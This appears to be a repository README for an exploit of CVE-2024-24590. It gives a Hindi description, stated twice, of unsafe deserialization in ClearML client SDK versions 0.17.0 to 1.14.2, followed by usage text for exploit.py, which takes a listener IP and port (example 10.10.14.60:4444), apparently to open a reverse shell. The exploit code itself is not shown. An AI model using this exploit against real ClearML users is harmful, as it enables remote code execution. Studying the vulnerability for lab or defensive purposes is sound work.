junnythemarksman/cve-2024-24590अविश्वसनीय डेटा का डीसीरियलाइज़ेशन Allegro AI के ClearML प्लेटफॉर्म के क्लाइंट SDK के संस्करण 0.17.0 से 1.14.2 में हो सकता है, जो एक दुर्भावनापूर्ण रूप से अपलोड किए गए आर्टिफैक्ट को अंतिम उपयोगकर्ता के सिस्टम पर इंटरैक्ट करने पर मनमाना कोड चलाने में सक्षम बनाता है।
अविश्वसनीय डेटा का डिसीरियलाइज़ेशन एलिग्रो एआई के ClearML प्लेटफ़ॉर्म के क्लाइंट SDK के संस्करण 0.17.0 से 1.14.2 में हो सकता है, जिससे दुर्भावनापूर्ण रूप से अपलोड किया गया आर्टिफैक्ट किसी अंतिम उपयोगकर्ता के सिस्टम पर इंटरैक्ट करने पर मनमाना कोड चला सकता है।
usage: exploit.py [-h] -i IP -p PORT -P PROJECT
options:
-h, --help show this help message and exit
-i IP IP address of the listener
-p PORT Port number of the listener
-P PROJECT Name of the existing project
example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'